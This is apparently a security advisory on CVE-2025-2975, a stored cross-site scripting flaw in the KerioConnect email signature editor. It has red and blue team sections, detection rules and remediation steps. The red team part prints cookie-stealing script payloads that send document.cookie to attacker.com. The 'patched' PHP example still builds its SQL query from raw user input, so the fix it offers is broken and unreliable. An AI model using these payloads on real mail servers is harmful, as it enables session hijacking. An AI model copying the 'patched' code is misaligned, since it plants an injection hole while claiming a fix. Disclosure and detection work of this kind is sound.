CVE-2025-2975

Executive Summary

CVE-2025-2975 is a stored Cross-Site Scripting (XSS) vulnerability discovered in GFI KerioConnect version 10.0.6. The flaw resides in the Signature Handler component, specifically within the Settings/Email/Signature/EditHtmlSource file. An authenticated attacker can inject arbitrary JavaScript or HTML into the email signature editor. When other users view or compose emails containing the malicious signature, the injected script executes in their browser context. This can lead to session hijacking, credential theft, or internal network reconnaissance. The vendor was contacted but did not respond, leaving the product in an unpatched state. The exploit has been publicly disclosed, increasing the risk of active exploitation.

Supply Chain & Package Security

This vulnerability does not directly affect NPM, PyPI, Go, or Ruby packages. However, GFI KerioConnect is a commercial email server product often deployed in enterprise environments. The lack of a vendor patch means organizations must rely on compensating controls.

CVSS Breakdown & Threat Level

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

Threat Level: Medium (5.4) – Exploitation requires authentication and user interaction, but the public PoC and unpatched status elevate the risk.

Deep Dive & Mechanics

The vulnerability is a classic stored XSS in the email signature editor. The EditHtmlSource endpoint does not properly sanitize or encode user-supplied HTML/JavaScript before storing it in the signature database. When a victim views an email composed by the attacker (or any email that includes the attacker’s signature), the malicious script is rendered by the victim’s browser.

Attack Flow:

1. Attacker logs into KerioConnect with valid credentials.
2. Navigates to Settings > Email > Signature > EditHtmlSource.
3. Injects a payload such as <script>alert(document.cookie)</script>.
4. Saves the signature.
5. Attacker sends an email to a victim (or the signature is automatically appended to outgoing emails).
6. Victim opens the email; the script executes in their session.

Root Cause: Lack of output encoding or input validation on the signature HTML source field. The application likely stores the raw HTML and renders it without escaping.

Vulnerable vs. Patched Code

Since no official patch exists, the following is a conceptual comparison.

Vulnerable Code (Conceptual):

// Save signature without sanitization
$signature_html = $_POST['signature_html'];
$db->query("UPDATE users SET signature = '$signature_html' WHERE id = $user_id");

Patched Code (Conceptual):

// Sanitize using HTML Purifier or similar
require_once 'htmlpurifier/library/HTMLPurifier.auto.php';
$config = HTMLPurifier_Config::createDefault();
$purifier = new HTMLPurifier($config);
$clean_html = $purifier->purify($_POST['signature_html']);
$db->query("UPDATE users SET signature = '$clean_html' WHERE id = $user_id");

Key Difference: The patched version uses a whitelist-based HTML sanitizer (e.g., HTML Purifier) to strip dangerous tags and attributes while preserving safe formatting.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Valid user credentials on a KerioConnect 10.0.6 instance.
• Network access to the KerioConnect web interface.

Exploit Steps:

1. Log in to the KerioConnect webmail interface.
2. Navigate to Settings > Email > Signature > EditHtmlSource.
3. Inject the following payload:

   <script>
   fetch('https://attacker.com/steal?cookie=' + document.cookie);
   </script>
   

4. Save the signature.
5. Send an email to the target user. The signature will automatically be appended.
6. Set up a listener on attacker.com to capture cookies.

Alternative Payload (Session Hijacking):

<img src=x onerror="new Image().src='https://attacker.com/steal?cookie='+document.cookie">

Blue Team

Detection & Prevention:

• Monitor for unusual changes to email signatures via audit logs.
• Implement a Web Application Firewall (WAF) rule to block <script> tags in signature fields.
• Use Content Security Policy (CSP) headers to restrict script execution.
• Educate users to avoid clicking links or enabling scripts in unexpected emails.

Lab Setup:

1. Deploy a KerioConnect 10.0.6 virtual machine.
2. Create two test users: attacker and victim.
3. Log in as attacker and inject the XSS payload into the signature.
4. Log in as victim and open an email from attacker.
5. Observe the script execution (e.g., cookie alert).

Indicators of Compromise (IOCs)

• Network: Outbound HTTP/HTTPS requests to attacker-controlled domains from the KerioConnect server or client browsers.
• Logs: Unusual entries in the KerioConnect audit log showing signature modifications with HTML/JavaScript content.
• File System: Modified signature templates in the database containing <script> tags or event handlers.
• Browser: Unexpected pop-ups or redirects when viewing emails.

Example IOC (Suricata Rule):

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-2975 XSS Exfiltration"; content:"/steal?cookie="; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)

Detection Engineering

YARA Rule

rule CVE_2025_2975_XSS_Signature {
    meta:
        description = "Detects XSS payloads in KerioConnect email signatures"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-2975"
    strings:
        $xss1 = /<script[^>]*>.*<\/script>/is
        $xss2 = /on\w+\s*=\s*['\"][^'\"]*['\"]/i
        $xss3 = /javascript\s*:/i
    condition:
        any of them
}

Sigma Rule

title: KerioConnect Signature XSS Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects attempts to inject XSS payloads into KerioConnect email signatures
author: Valters IT
date: 2025-04-10
logsource:
    product: kerioconnect
    service: audit
detection:
    selection:
        EventID: 1001  # Example: Signature modification event
        SignatureContent|contains:
            - '<script'
            - 'onload='
            - 'onerror='
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of HTML formatting in signatures
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-2975 XSS Payload in Signature"; flow:to_server,established; content:"POST"; http_method; content:"/Settings/Email/Signature/EditHtmlSource"; http_uri; content:"<script"; http_client_body; classtype:web-application-attack; sid:1000002; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable HTML Signatures: Configure KerioConnect to use plain-text signatures only.
2. WAF Rules: Block requests to /Settings/Email/Signature/EditHtmlSource containing <script> or event handler attributes.
3. CSP Headers: Add Content-Security-Policy: script-src 'self' to prevent inline script execution.
4. User Training: Warn users not to enable HTML signatures or click suspicious links.

Long-Term Fix:

• Apply input sanitization (e.g., HTML Purifier) to the signature editor.
• Upgrade to a patched version once released by GFI.
• Consider migrating to a supported email platform if the vendor remains unresponsive.

Workaround:

• Use a reverse proxy (e.g., Nginx) to inspect and sanitize POST data to the vulnerable endpoint.

Valters IT